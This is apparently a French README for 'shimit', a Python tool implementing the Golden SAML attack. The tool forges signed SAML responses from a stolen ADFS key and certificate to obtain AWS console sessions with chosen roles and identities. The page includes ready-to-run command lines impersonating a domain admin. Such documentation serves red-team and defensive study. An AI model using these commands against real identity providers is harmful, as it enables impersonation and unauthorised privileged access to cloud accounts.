
Un outil qui implémente l'attaque Golden SAML
shimit est un outil Python qui implémente l'attaque Golden SAML. Plus d'informations à ce sujet se trouvent dans l'article suivant sur notre blog.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
Dans une attaque Golden SAML, les attaquants peuvent obtenir un accès à une application (toute application prenant en charge l'authentification SAML) avec les privilèges de leur choix et être n'importe quel utilisateur sur l'application ciblée.
shimit permet à l'utilisateur de créer un objet SAMLResponse signé et de l'utiliser pour ouvrir une session dans le fournisseur de services. shimit prend désormais en charge la console AWS en tant que fournisseur de services, d'autres sont en cours de développement...
Après avoir généré et signé l'assertion du SAMLResponse, shimit appellera l'API AssumeRoleWithSAML() dans AWS. Ensuite, le jeton de session et la clé seront appliqués à une nouvelle session, où l'utilisateur peut utiliser l'interface de ligne de commande AWS pour effectuer des actions en utilisant les permissions obtenues via le Golden SAML.
Pour installer les modules requis, exécutez la commande suivante :
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
Doit être installé pour utiliser les informations d'identification obtenues. Peut être téléchargé pour Windows ou Linux depuis ces liens.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - URL du fournisseur d'identité, ex. http://server.domain.com/adfs/services/trust
pk - Chemin complet du fichier de clé privée (format pem)
c - Chemin complet du fichier de certificat (format pem)
u - Nom d'utilisateur et domaine, ex. domaine\nomutilisateur (utilisez \ ou des guillemets sous *nix)
n - Nom de la session dans AWS
r - Rôles souhaités dans AWS. Prend en charge plusieurs rôles, le premier spécifié sera assumé.
id - Identifiant du compte AWS, ex. 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - Sortie du SAMLResponse encodé vers un chemin de fichier spécifié
python .\shimit.py -l saml_response.xml
l - Charger SAMLResponse depuis un chemin de fichier spécifié
shimit prend actuellement en charge AWS en tant que fournisseur de services, à titre de POC. Nous vous encourageons vivement à contribuer avec de nouveaux modules pour d'autres fournisseurs de services.